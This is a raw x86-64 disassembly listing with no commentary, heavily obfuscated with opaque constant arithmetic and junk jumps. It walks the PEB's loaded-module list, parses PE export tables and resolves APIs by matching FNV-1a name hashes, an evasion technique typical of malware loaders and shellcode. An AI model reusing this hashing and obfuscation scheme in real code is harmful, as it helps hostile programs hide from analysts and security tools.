xor eax, 0xd16adc7b
rol eax, 0xa3
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x9a35fe0
pushf
not eax
add eax, 0xd1711d17
xor eax, 0x994e325b
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xa8809bf8
xor eax, 0xa256f4c5
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xaac78b43
xor eax, 0xeaa3cc5c
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xee878552
xor eax, 0xeef948c7
rol eax, 0x13
popf
jmp 0x140055209
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 0x24]
call fcn.1400aaf1d
mov dword [rsp + 0x19c], eax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, 0xec4a08c9
pushf
not r8d
add r8d, 0xc48ecba2
xor r8d, 0xfcb448c8
rol r8d, 0x14
popf
pushf
not r8d
add r8d, 0xe18d0649
xor r8d, 0xb7631a88
rol r8d, 0x2b
popf
pushf
not r8d
add r8d, 0x8e4bcb48
xor r8d, 0xc0dd8388
rol r8d, 0xe3
popf
mov edx, eax
call fcn.140161ab2
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x98]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov rdx, qword [rsp + 0x48]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x78]
push rdx
not rdx
sub rdi, rdx
pop rdx
sub rdi, 1
mov rdx, rdi
mov qword [rsp + 0x350], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x350]
mov rcx, rax
call fcn.140081885
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, dword [rsp + 0x19c]
mov edx, eax
call fcn.140161ab2
push rax
pushf
mov eax, 0x8ed760ff
pushf
not eax
add eax, 0xb5b39fea
xor eax, 0x8b62a22b
rol eax, 0x68
popf
pushf
not eax
add eax, 0xbd3686be
xor eax, 0xfa79927a
rol eax, 0x68
popf
pushf
not eax
add eax, 0x8e82f13c
xor eax, 0xa36b8737
rol eax, 0xca
popf
jmp 0x140055209
jmp 0x140058282
mov rax, qword [rsp + 0x358]
add rax, 0x126cf528
mov rcx, rax
call fcn.1400c9006
mov rax, qword [rax]
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 0
jne 0x140058661
push rax
pushf
mov eax, 0x89c33fa9
pushf
not eax
add eax, 0xc96f583e
xor eax, 0xe6f6a69b
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xe406eee0
xor eax, 0x8dcc2788
rol eax, 0x81
popf
pushf
not eax
add eax, 0xd0ef0c83
xor eax, 0xddc1b92e
rol eax, 0x51
popf
pushf
not eax
add eax, 0xc7a1f0c2
xor eax, 0xd55da756
rol eax, 0x6c
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x677c820
pushf
not eax
add eax, 0xc5f74566
xor eax, 0x97af1622
rol eax, 0x59
popf
pushf
not eax
add eax, 0x9e87780f
xor eax, 0xd032d738
rol eax, 0x33
popf
jmp 0x140055209
xor al, al
jmp 0x14005abd1
mov rax, qword [rsp + 0x250]
add rax, 0x1d8
mov rcx, rax
call fcn.1400c9006
mov rax, qword [rax]
mov qword [rsp + 0x258], rax
cmp qword [rsp + 0x258], 0
jne 0x140058753
push rax
pushf
mov eax, 0xd7fad1e8
pushf
not eax
add eax, 0x9595231d
xor eax, 0xcac3bf27
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xdaae3704
xor eax, 0xa1e74cb8
rol eax, 0x94
popf
pushf
not eax
add eax, 0x8bacd15f
xor eax, 0xdea0ed22
rol eax, 0xfe
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x97aeb492
pushf
not eax
add eax, 0x9d3d9119
xor eax, 0x8b25133d
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xa8fa3948
xor eax, 0xafc71346
rol eax, 0xd
popf
pushf
not eax
add eax, 0x855b6b45
xor eax, 0xe79f92ff
rol eax, 0x1f
popf
jmp 0x140055209
xor al, al
jmp 0x14005abd1
mov rax, qword [rsp + 0x258]
add rax, 0x38
mov rcx, rax
call fcn.1400c9006
mov rax, qword [rax]
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x260], 0
jne 0x140058856
push rax
pushf
mov eax, 0x30bd53c2
pushf
not eax
add eax, 0xd8161477
xor eax, 0x88b331f7
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x9fd34438
xor eax, 0x8e938343
rol eax, 0x90
popf
pushf
not eax
add eax, 0xccccb5d8
xor eax, 0xaaeeee8e
rol eax, 0x53
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xda61023b
pushf
not eax
add eax, 0xd5bf09de
xor eax, 0xee257cb7
rol eax, 0x49
popf
pushf
not eax
add eax, 0xf4079629
xor eax, 0x8ff5f554
rol eax, 0x54
popf
pushf
not eax
add eax, 0xa0f2a997
xor eax, 0xb89722a2
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xf00dfd67
xor eax, 0xe12037c8
rol eax, 0x49
popf
jmp 0x140055209
xor al, al
jmp 0x14005abd1
mov rcx, qword [rsp + 0x260]
call fcn.1400c9006
mov rax, qword [rax]
mov qword [rsp + 0x268], rax
cmp qword [rsp + 0x268], 0
jne 0x140058978
push rax
pushf
mov eax, 0x1e36ffdb
pushf
not eax
add eax, 0xa80c2ac5
xor eax, 0xcac158cf
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xf26a0f67
xor eax, 0xfbe887a0
rol eax, 0x22
popf
pushf
not eax
add eax, 0xe72be46b
xor eax, 0xc7a3d3f0
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xb19e7c5e
xor eax, 0xf5a16720
rol eax, 0xb3
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xd181227a
pushf
not eax
add eax, 0x9e975784
xor eax, 0x9f512928
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xb8c8af07
xor eax, 0x805f7c80
rol eax, 0xca
popf
pushf
not eax
add eax, 0xa671b358
xor eax, 0xbd183e69
rol eax, 0xfd
popf
jmp 0x140055209
xor al, al
jmp 0x14005abd1
mov rax, qword [rsp + 0x268]
add rax, 0x78
mov rcx, rax
call fcn.1400c9006
mov rax, qword [rax]
mov qword [rsp + 0x270], rax
cmp qword [rsp + 0x270], 0
jne 0x140058a55
push rax
pushf
mov eax, 0x59b00f74
pushf
not eax
add eax, 0xfb7221e0
xor eax, 0xcf97c587
rol eax, 0x70
popf
pushf
not eax
add eax, 0xc290ea8b
xor eax, 0xeaa47c0a
rol eax, 0xc0
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x2882e06
pushf
not eax
add eax, 0x9b434315
xor eax, 0x94346976
rol eax, 0xff
popf
pushf
not eax
add eax, 0xc6a57b8f
xor eax, 0x8097e06f
rol eax, 0x79
popf
pushf
not eax
add eax, 0xebd88479
xor eax, 0xf8748ccc
rol eax, 0x59
popf
pushf
not eax
add eax, 0xaedc3775
xor eax, 0xc9c9f2af
rol eax, 0x46
popf
jmp 0x140055209
xor al, al
jmp 0x14005abd1
mov rax, qword [rsp + 0x78]
add rax, 0xff78
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x78]
add rax, 0x14ce8
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x360]
mov r8d, 0x2d28047e
pushf
not r8d
add r8d, 0xaf7fedf3
xor r8d, 0x96b1e342
rol r8d, 0x31
popf
pushf
not r8d
add r8d, 0xcf4c9545
xor r8d, 0xbae77b78
rol r8d, 0xd4
popf
mov rdx, qword [rsp + 0x368]
mov rcx, qword [rsp + 0x270]
call fcn.14014b60e
mov dword [rsp + 0x1ac], 0x3e8
mov rax, qword [rsp + 0x420]
mov qword [rsp + 0x208], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x370]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x378]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x200], rax
push rax
pushf
mov eax, 0x2d8c9c99
pushf
not eax
add eax, 0xe2be7937
xor eax, 0x934381f8
rol eax, 0x45
popf
pushf
not eax
add eax, 0xa86b7980
xor eax, 0xda1fcc59
rol eax, 0xdf
popf
jmp 0x140055209
mov rax, qword [rsp + 0x200]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0xf8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xf8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x388], rax
mov eax, 0x54431d66
pushf
not eax
add eax, 0xd3f0d9eb
xor eax, 0xa19e8256
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xfa4bfc7b
xor eax, 0xb45865a5
rol eax, 0xce
popf
pushf
not eax
add eax, 0xe86ed49d
xor eax, 0xaac23f5f
rol eax, 0x13
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x388]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x278], rax
mov eax, dword [rsp + 0x278]
mov rcx, qword [rsp + 0xf8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x130], rax
mov eax, dword [rsp + 0x27c]
mov dword [rsp + 0x138], eax
mov rax, qword [rsp + 0x128]
cmp qword [rsp + 0x130], rax
je 0x140058d29
push rax
pushf
mov eax, 0xa8eb7739
pushf
not eax
add eax, 0x83d999c7
xor eax, 0xb0163170
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x98a4d453
xor eax, 0xb854ffa7
rol eax, 0x79
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x846a0943
pushf
not eax
add eax, 0xb3b2fc9d
xor eax, 0xf7cc427d
rol eax, 0x36
popf
pushf
not eax
add eax, 0xd6569e67
xor eax, 0xd142dfb6
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x8f5119d9
xor eax, 0xc88169bd
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xf4c54708
xor eax, 0xc783e595
rol eax, 0xec
popf
jmp 0x140055209
mov dword [rsp + 0xac], 1
jmp 0x140058e3c
mov dword [rsp + 0xac], 0
push rax
pushf
mov eax, 0x82bdc6c3
pushf
not eax
add eax, 0xd78c50ed
xor eax, 0x9ffc899b
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xe2b2b320
xor eax, 0xa42d9f93
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x8b1ec312
xor eax, 0xe809c00d
rol eax, 0x44
popf
jmp 0x140055209
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x3a], al
movzx eax, byte [rsp + 0x3a]
test eax, eax
je 0x140058e9b
push rax
pushf
mov eax, 0x7c088d48
pushf
not eax
add eax, 0x93eec4c3
xor eax, 0x9f732055
rol eax, 0x49
popf
pushf
not eax
add eax, 0x812f5053
xor eax, 0x90fd7399
rol eax, 0x99
popf
pushf
not eax
add eax, 0xa515a28b
xor eax, 0xf385af25
rol eax, 0xdb
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xeb0b6fa8
pushf
not eax
add eax, 0xa71857d7
xor eax, 0xd3d819d7
rol eax, 0x80
popf
pushf
not eax
add eax, 0xe8168b69
xor eax, 0x8841996b
rol eax, 0xe4
popf
jmp 0x140055209
mov rax, qword [rsp + 0x130]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x1a0], eax
mov eax, dword [rsp + 0x54]
jmp 0x140058eed
dec eax
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x1a0], 0
je 0x140058f5a
push rax
pushf
mov eax, 0xaa517c26
pushf
not eax
add eax, 0xa35cf8a9
xor eax, 0x80249e9b
rol eax, 0x74
popf
pushf
not eax
add eax, 0xbd91bcd4
xor eax, 0x8bf0142a
rol eax, 0x88
popf
pushf
not eax
add eax, 0xc35c96b5
xor eax, 0xc99c1d33
rol eax, 0x92
popf
pushf
not eax
add eax, 0xe5754d25
xor eax, 0xbb15bb1a
rol eax, 0xd5
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x83347120
pushf
not eax
add eax, 0xb82c92aa
xor eax, 0xa7cb37db
rol eax, 0xba
popf
pushf
not eax
add eax, 0xbbf04d5f
xor eax, 0x94abed0c
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xdbcaa18e
xor eax, 0xd9950b37
rol eax, 0x68
popf
pushf
not eax
add eax, 0xdd0f05e6
xor eax, 0xddb9eb92
rol eax, 0xe5
popf
jmp 0x140055209
mov eax, dword [rsp + 0x404]
mov dword [rsp + 0xb0], eax
movabs rax, 0xeada56be8b1d15e7
pushf
not rax
add rax, 0x4f4ab25a
xor rax, 0x77e48053
rol rax, 0x19
popf
pushf
not rax
add rax, 0x715ff996
xor rax, 0x47a41d7a
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x464f5600
xor rax, 0x6a1ac99c
rol rax, 0x64
popf
shr rax, 0x20
mov dword [rsp + 0xb0], eax
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x130]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x128]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x54]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x128]
mov qword [rsp + 0x280], rax
movabs rax, 0x7db1f5dd187e1965
pushf
not rax
add rax, 0x425dcb1b
xor rax, 0x52a4d2b9
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x4614217c
xor rax, 0x46b6b9f2
rol rax, 0x4d
popf
pushf
not rax
add rax, 0x62ece80f
xor rax, 0x77f14060
rol rax, 0x10
popf
mov ecx, 0x1c53f37a
pushf
not ecx
add ecx, 0x88b4b7a5
xor ecx, 0x9cc52c73
rol ecx, 0xe2
popf
pushf
not ecx
add ecx, 0xa06c5153
xor ecx, 0xb635ee6f
rol ecx, 0xa9
popf
pushf
not ecx
add ecx, 0xcfbbb78b
xor ecx, 0xf2c7514c
rol ecx, 0xdf
popf
and rax, rcx
mov dword [rsp + 0x1a4], eax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x1f8], rax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x90], eax
mov rax, qword [rsp + 0x1f8]
movzx eax, byte [rax]
mov byte [rsp + 0x3b], al
mov rax, qword [rsp + 0x1f8]
inc rax
mov qword [rsp + 0x1f8], rax
movzx eax, byte [rsp + 0x3b]
mov byte [rsp + 0x32], al
movsx eax, byte [rsp + 0x32]
test eax, eax
jne 0x1400591ac
push rax
pushf
mov eax, 0x5cd0c4ff
pushf
not eax
add eax, 0x8c2acd82
xor eax, 0x8b841ac9
rol eax, 0x51
popf
pushf
not eax
add eax, 0x9c9a41e1
xor eax, 0xc5b473ac
rol eax, 0x86
popf
pushf
not eax
add eax, 0xf53f005b
xor eax, 0x90083f5c
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x865a5d4a
xor eax, 0x98a53507
rol eax, 0x2f
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xb21789c
pushf
not eax
add eax, 0xb1ee56e9
xor eax, 0xb24986b5
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xf31770d8
xor eax, 0xe64c54f9
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xfbef4435
xor eax, 0xcd060a97
rol eax, 0x21
popf
jmp 0x140055209
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x1a8], eax
jmp 0x1400593f6
xor eax, eax
test eax, eax
je 0x140059297
push rax
pushf
mov eax, 0x215dcd83
pushf
not eax
add eax, 0xadc74216
xor eax, 0xea7cb0d7
rol eax, 0x70
popf
pushf
not eax
add eax, 0xabcefc6f
xor eax, 0xaf89965b
rol eax, 0xc5
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xa086dad0
pushf
not eax
add eax, 0xbe3f280d
xor eax, 0x967e3661
rol eax, 0xff
popf
pushf
not eax
add eax, 0x966d62c8
xor eax, 0xd9ca2519
rol eax, 0xeb
popf
jmp 0x140055209
movsx eax, byte [rsp + 0x32]
or eax, 0x20
mov dword [rsp + 0xb4], eax
jmp 0x140059389
movsx eax, byte [rsp + 0x32]
mov dword [rsp + 0xb4], eax
push rax
pushf
mov eax, 0x2a087d40
pushf
not eax
add eax, 0x98b52d6c
xor eax, 0xc44ffe26
rol eax, 0x11
popf
pushf
not eax
add eax, 0xfebdda8f
xor eax, 0xc7c1d7bd
rol eax, 0xed
popf
pushf
not eax
add eax, 0xfa7bf4be
xor eax, 0x80c52f66
rol eax, 0x35
popf
pushf
not eax
add eax, 0xa7fda7fc
xor eax, 0xb912eeee
rol eax, 0xb3
popf
jmp 0x140055209
mov eax, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0x90]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x90], eax
jmp 0x14005911f
mov eax, dword [rsp + 0x1a4]
cmp dword [rsp + 0x1a8], eax
jne 0x14005945f
push rax
pushf
mov eax, 0x601eb475
pushf
not eax
add eax, 0x95d01275
xor eax, 0x82cda947
rol eax, 0x37
popf
pushf
not eax
add eax, 0xf5f2aa58
xor eax, 0xbd72eb4d
rol eax, 0x43
popf
pushf
not eax
add eax, 0x95ffbdf2
xor eax, 0xb227982f
rol eax, 9
popf
pushf
not eax
add eax, 0xd0e10305
xor eax, 0xf3de434b
rol eax, 0xea
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xd70f1ab7
pushf
not eax
add eax, 0x94c88eab
xor eax, 0xb5747d35
rol eax, 0x38
popf
pushf
not eax
add eax, 0xa2a47d7b
xor eax, 0xb23dfae7
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xd7f07572
xor eax, 0xa0f2f782
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xa9936b29
xor eax, 0xcd5e4c73
rol eax, 0xc3
popf
jmp 0x140055209
mov rax, qword [rsp + 0x130]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x128]
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x130]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x128]
mov qword [rsp + 0x390], rax
mov eax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x390]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x398]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x128]
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x208], rax
jmp 0x140059708
jmp 0x140058edd
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0x3a8]
mov rax, qword [rax]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x200], rax
mov byte [rsp + 0x3c], 1
movzx eax, byte [rsp + 0x3c]
test eax, eax
jne 0x14005965d
push rax
pushf
mov eax, 0xe441bf93
pushf
not eax
add eax, 0x9182d445
xor eax, 0x9d05511b
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa5c10472
xor eax, 0xa8f18ca0
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x9fa3a946
xor eax, 0xe250c1c1
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x93bf26b4
xor eax, 0xd7b34e61
rol eax, 0x9e
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xaa83ce2e
pushf
not eax
add eax, 0xe635f8a2
xor eax, 0xadc5a4f4
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xbdf0a25c
xor eax, 0x867c5867
rol eax, 0x90
popf
pushf
not eax
add eax, 0xb4ba9914
xor eax, 0x84b520c5
rol eax, 0x69
popf
pushf
not eax
add eax, 0xcf3b067a
xor eax, 0x879c8ebe
rol eax, 2
popf
jmp 0x140055209
mov qword [rsp + 0x208], 0
push rax
pushf
mov eax, 0x2c8f9745
pushf
not eax
add eax, 0xab9de5c9
xor eax, 0xa9c94b61
rol eax, 0x79
popf
pushf
not eax
add eax, 0xe8f61c63
xor eax, 0xa42bdb91
rol eax, 0xf
popf
pushf
not eax
add eax, 0x941f3f08
xor eax, 0xa93bfb42
rol eax, 0xe2
popf
jmp 0x140055209
mov eax, dword [rsp + 0x1ac]
mov dword [rsp + 0x1b0], eax
mov ecx, dword [rsp + 0x1b0]
jmp 0x14005971e
call qword [rsp + 0x208]
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x80]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x70], rax
xor eax, eax
mov word [rsp + 0x40], ax
jmp 0x1400597e3
movzx eax, word [rsp + 0x40]
inc ax
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x70]
add rax, 0x28
mov qword [rsp + 0x70], rax
push rax
pushf
mov eax, 0xb88283e9
pushf
not eax
add eax, 0x9357ac7b
xor eax, 0xf90851a7
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x988dad71
xor eax, 0xb4626451
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x9d9593e9
xor eax, 0x9dc224fe
rol eax, 0xff
popf
jmp 0x140055209
movzx eax, word [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140059855
push rax
pushf
mov eax, 0x8e8277e5
pushf
not eax
add eax, 0xfe69418c
xor eax, 0xbba4165c
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x8df8794a
xor eax, 0xf6ca41ac
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xf25e1dd6
xor eax, 0x820ea53b
rol eax, 0xef
popf
pushf
not eax
add eax, 0xb42d9930
xor eax, 0x8ca14f97
rol eax, 0x32
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xbbf772bf
pushf
not eax
add eax, 0xa84fd754
xor eax, 0x97f2f8c0
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xaf2c8b86
xor eax, 0xe9e4cd9c
rol eax, 0x1a
popf
jmp 0x140055209
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x10], 0
jne 0x1400598d9
push rax
pushf
mov eax, 0xd25e798a
pushf
not eax
add eax, 0xfa693ec2
xor eax, 0xe7c24f8b
rol eax, 0x94
popf
pushf
not eax
add eax, 0x9f1aeab4
xor eax, 0xfa13c258
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xb2017eff
xor eax, 0xabeb9c37
rol eax, 0xe9
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x8a7474ba
pushf
not eax
add eax, 0xa4bd5d81
xor eax, 0x81ca466d
rol eax, 0x57
popf
pushf
not eax
add eax, 0x8a8cb62f
xor eax, 0xbfb1d6ee
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xc397ff9d
xor eax, 0xf1339a9f
rol eax, 0x81
popf
pushf
not eax
add eax, 0xf4aab11d
xor eax, 0xd649c8de
rol eax, 0xf1
popf
jmp 0x140055209
jmp 0x140059782
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x70]
lea rcx, [0x191649c04]
pushf
sub rcx, 0x51617f88
popf
sub rcx, rax
push rax
pushf
mov eax, 0xef3a070f
pushf
not eax
add eax, 0xbcd4b699
xor eax, 0x969b651a
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xce4f1d67
xor eax, 0xd583184f
rol eax, 0x21
popf
pushf
not eax
add eax, 0x8f954f6a
xor eax, 0xd4a0c8d2
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xf930067e
xor eax, 0x8aae41ea
rol eax, 0xd
popf
jmp 0x140055209
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140059aa5
inc rax
test dl, dl
jne 0x140059a3b
push rax
pushf
mov eax, 0x869a0d1f
pushf
not eax
add eax, 0xf3cfbf82
xor eax, 0xad3ee912
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xb241b91c
xor eax, 0x9410dc2e
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xa39705f1
xor eax, 0xfe00c029
rol eax, 0xa
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xd3b48608
pushf
not eax
add eax, 0xa446f6ef
xor eax, 0xd6fecce8
rol eax, 0
popf
pushf
not eax
add eax, 0x8f0106e3
xor eax, 0xdf944ad4
rol eax, 0x28
popf
jmp 0x140055209
xor eax, eax
jmp 0x140059af0
sbb eax, eax
or eax, 1
push rax
pushf
mov eax, 0x4584a02b
pushf
not eax
add eax, 0x8b10cd37
xor eax, 0x882e88ab
rol eax, 0x64
popf
pushf
not eax
add eax, 0xa1287c91
xor eax, 0xfdf8a37d
rol eax, 0xec
popf
pushf
not eax
add eax, 0xf3c8005b
xor eax, 0x8b1e6caa
rol eax, 0x6f
popf
jmp 0x140055209
test eax, eax
je 0x140059b4d
push rax
pushf
mov eax, 0x6ad4651c
pushf
not eax
add eax, 0xd3fdc96e
xor eax, 0xcebf3a30
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xe0125059
xor eax, 0xf7ad88d5
rol eax, 0x34
popf
pushf
not eax
add eax, 0xfe703825
xor eax, 0xe7e4362c
rol eax, 0xda
popf
pushf
not eax
add eax, 0xe78d2d36
xor eax, 0xc66fe87b
rol eax, 0x3c
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x2ff2ff93
pushf
not eax
add eax, 0xd57902a7
xor eax, 0xc800451a
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xe85628e7
xor eax, 0xaaa56026
rol eax, 0x85
popf
jmp 0x140055209
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x70]
lea rcx, [0x1bbb61179]
pushf
sub rcx, 0x7bb2f4f5
popf
sub rcx, rax
push rax
pushf
mov eax, 0x6a5c3d2f
pushf
not eax
add eax, 0xbb12947e
xor eax, 0xd4bf0751
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x82fc1248
xor eax, 0xbbfff1fd
rol eax, 7
popf
jmp 0x140055209
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140059c20
push rax
pushf
mov eax, 0xd9db6d9a
pushf
not eax
add eax, 0xb599cdf5
xor eax, 0xf1f4c958
rol eax, 0x61
popf
pushf
not eax
add eax, 0x860e6f4e
xor eax, 0x8c5f4b54
rol eax, 0x51
popf
pushf
not eax
add eax, 0x99d4b59e
xor eax, 0xedc73b51
rol eax, 0x10
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x6755f181
pushf
not eax
add eax, 0x923d8d4b
xor eax, 0xfe0b497f
rol eax, 0xba
popf
pushf
not eax
add eax, 0xd38e01db
xor eax, 0xf83a4290
rol eax, 0x3b
popf
jmp 0x140055209
inc rax
test dl, dl
jne 0x140059ca0
push rax
pushf
mov eax, 0x5499a658
pushf
not eax
add eax, 0xbef55acf
xor eax, 0xed00c1ab
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xc8c460c4
xor eax, 0xcb2f04e4
rol eax, 0x63
popf
pushf
not eax
add eax, 0x9c8760e9
xor eax, 0x9e49b74c
rol eax, 0xa5
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x3b6ca927
pushf
not eax
add eax, 0xee567a98
xor eax, 0x8a1bc07b
rol eax, 0xa
popf
pushf
not eax
add eax, 0x8b4945f2
xor eax, 0xbb1eb1ef
rol eax, 0x90
popf
pushf
not eax
add eax, 0xf5587f7b
xor eax, 0xf677075f
rol eax, 0x87
popf
jmp 0x140055209
xor eax, eax
jmp 0x140059d55
sbb eax, eax
or eax, 1
push rax
pushf
mov eax, 0x47d2a8ec
pushf
not eax
add eax, 0xae86ab66
xor eax, 0xdaf712bc
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xbcc5a81f
xor eax, 0xdea47ebc
rol eax, 0x98
popf
jmp 0x140055209
test eax, eax
jne 0x140059db6
push rax
pushf
mov eax, 0x20c6708c
pushf
not eax
add eax, 0x8b2ea0ae
xor eax, 0xa3c52543
rol eax, 0xff
popf
pushf
not eax
add eax, 0xcc0741d5
xor eax, 0xd2812d14
rol eax, 0x89
popf
pushf
not eax
add eax, 0xfd16f769
xor eax, 0xb0f7e5e1
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xf0e2e347
xor eax, 0x8ec5aa31
rol eax, 0xd5
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xf79caa1a
pushf
not eax
add eax, 0xbc988b62
xor eax, 0xab8b66d0
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xdefb93c9
xor eax, 0xbb5bab8c
rol eax, 0x91
popf
pushf
not eax
add eax, 0xa138088d
xor eax, 0xc4aac27d
rol eax, 0x40
popf
pushf
not eax
add eax, 0xf4abc66e
xor eax, 0x8c1e74b0
rol eax, 0xd0
popf
jmp 0x140055209
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x10]
